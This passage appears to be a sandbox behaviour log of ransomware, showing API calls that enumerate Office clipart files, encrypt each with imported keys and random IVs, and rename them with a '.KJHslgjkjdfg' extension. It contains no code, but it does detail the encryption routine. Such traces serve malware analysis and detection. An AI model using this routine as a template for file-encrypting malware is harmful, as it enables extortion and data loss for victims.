lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.100] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.100] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.100] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.100] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16ae, lpOverlapped=0x0) returned 1 [0216.101] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16b0) returned 1 [0216.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.101] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16b0, lpOverlapped=0x0) returned 1 [0216.102] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.102] SetEndOfFile (hFile=0x130) returned 1 [0216.104] GetProcessHeap () returned 0x2ef0000 [0216.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.104] GetProcessHeap () returned 0x2ef0000 [0216.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.kjhslgjkjdfg")) returned 1 [0216.106] CloseHandle (hObject=0x130) returned 1 [0216.106] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0216.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.107] GetProcessHeap () returned 0x2ef0000 [0216.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.107] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.108] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0216.110] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.110] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.110] GetProcessHeap () returned 0x2ef0000 [0216.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.110] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.110] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.110] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.110] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.110] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.111] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.111] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.111] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4732, lpOverlapped=0x0) returned 1 [0216.112] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4740, dwBufLen=0x4740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4740) returned 1 [0216.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.112] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4740, lpOverlapped=0x0) returned 1 [0216.112] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.112] SetEndOfFile (hFile=0x130) returned 1 [0216.113] GetProcessHeap () returned 0x2ef0000 [0216.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.113] GetProcessHeap () returned 0x2ef0000 [0216.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.kjhslgjkjdfg")) returned 1 [0216.115] CloseHandle (hObject=0x130) returned 1 [0216.115] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0216.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.116] GetProcessHeap () returned 0x2ef0000 [0216.116] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.116] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.117] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0216.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.119] GetProcessHeap () returned 0x2ef0000 [0216.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.119] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.119] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.119] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6bf6, lpOverlapped=0x0) returned 1 [0216.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6c00, dwBufLen=0x6c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6c00) returned 1 [0216.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.121] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6c00, lpOverlapped=0x0) returned 1 [0216.121] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.121] SetEndOfFile (hFile=0x130) returned 1 [0216.124] GetProcessHeap () returned 0x2ef0000 [0216.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.124] GetProcessHeap () returned 0x2ef0000 [0216.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.kjhslgjkjdfg")) returned 1 [0216.126] CloseHandle (hObject=0x130) returned 1 [0216.126] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0216.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.127] GetProcessHeap () returned 0x2ef0000 [0216.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.127] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0216.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.129] GetProcessHeap () returned 0x2ef0000 [0216.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.131] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd6e, lpOverlapped=0x0) returned 1 [0216.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd70, dwBufLen=0xd70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd70) returned 1 [0216.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.131] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd70, lpOverlapped=0x0) returned 1 [0216.131] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.131] SetEndOfFile (hFile=0x130) returned 1 [0216.131] GetProcessHeap () returned 0x2ef0000 [0216.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.132] GetProcessHeap () returned 0x2ef0000 [0216.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.kjhslgjkjdfg")) returned 1 [0216.133] CloseHandle (hObject=0x130) returned 1 [0216.133] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0216.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.134] GetProcessHeap () returned 0x2ef0000 [0216.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.134] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.135] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.137] GetProcessHeap () returned 0x2ef0000 [0216.137] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.137] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.137] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.138] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 